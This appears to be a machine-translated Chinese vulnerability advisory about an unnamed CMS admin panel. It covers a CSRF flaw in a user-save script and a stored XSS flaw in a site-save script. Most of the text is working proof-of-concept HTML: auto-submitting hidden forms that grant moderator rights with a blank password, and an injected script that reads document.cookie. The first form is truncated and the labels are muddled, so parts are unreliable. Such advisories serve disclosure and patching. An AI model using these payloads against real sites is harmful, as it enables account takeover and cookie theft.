漏洞类型：跨站XSS
漏洞描述：CSRF攻击，该漏洞存在于“http://host/admin/usersite/save2/“脚本没有正确验证的HTTP请求的来源。

成功利用此漏洞可能导致应用程序的一个妥协，基于cookie的认证证书，泄露或窃取敏感数据的修改。

POC：

<input type="hidden" name="noOut" value="1">     <input type="hidden" name="save_post" value="1">     <input type="hidden" name="id" value="2">     <input type="hidden" name="fio" value="first name">     <input type="hidden" name="name" value="userlogin">     <input type="hidden" name="password" value="">     <input type="hidden" name="mail" value="email@example.com">     <input type="hidden" name="created" value="23.12.2010">     <input type="hidden" name="act" value="1">     <input type="hidden" name="moderator" value="1">     <input type="hidden" name="language" value="">     <input type="hidden" name="phone" value="phone">     <input type="hidden" name="city" value="city">     <input type="hidden" name="street" value="street">     <input type="hidden" name="home" value="5">     <input type="hidden" name="corps" value="">     <input type="hidden" name="flat" value="98">    </form>     <script>     document.main.submit();     </script>    XSS漏洞1：

由于该漏洞存在于“http://host/admin/site/save2/“提交数据未经过严格过滤导致提交XSS代码。成功利用此漏洞可能导致应用程序的一个妥协，基于cookie的认证证书，泄露或窃取敏感数据的修改。

POC：

<form action="http://host/admin/site/save2/" method="post" name="main" enctype="multipart/form-data" >     <input type="hidden" name="noOut" value="1">     <input type="hidden" name="save_post" value="1">     <input type="hidden" name="id" value="2">     <input type="hidden" name="name" value="page name">     <input type="hidden" name="act" value="1">     <input type="hidden" name="actm" value="1">     <input type="hidden" name="title_meta" value="title">     <input type="hidden" name="keywords" value="">     <input type="hidden" name="descr" value="">     <input type="hidden" name="rewrite" value="sef_url">     <input type="hidden" name="addmodule" value="">     <input type="hidden" name="parent_id" value="">     <input type="hidden" name="sort" value="2">     <input type="hidden" name="theme" value="">     <input type="hidden" name="othurl" value="">     <input type="hidden" name="text" value='content html"><script>alert(document.cookie)</script>'>     </form>     <script>     document.main.submit();     </script>    

修复：

脚本正确验证的HTTP请求的来源。
关健词：漏洞，修复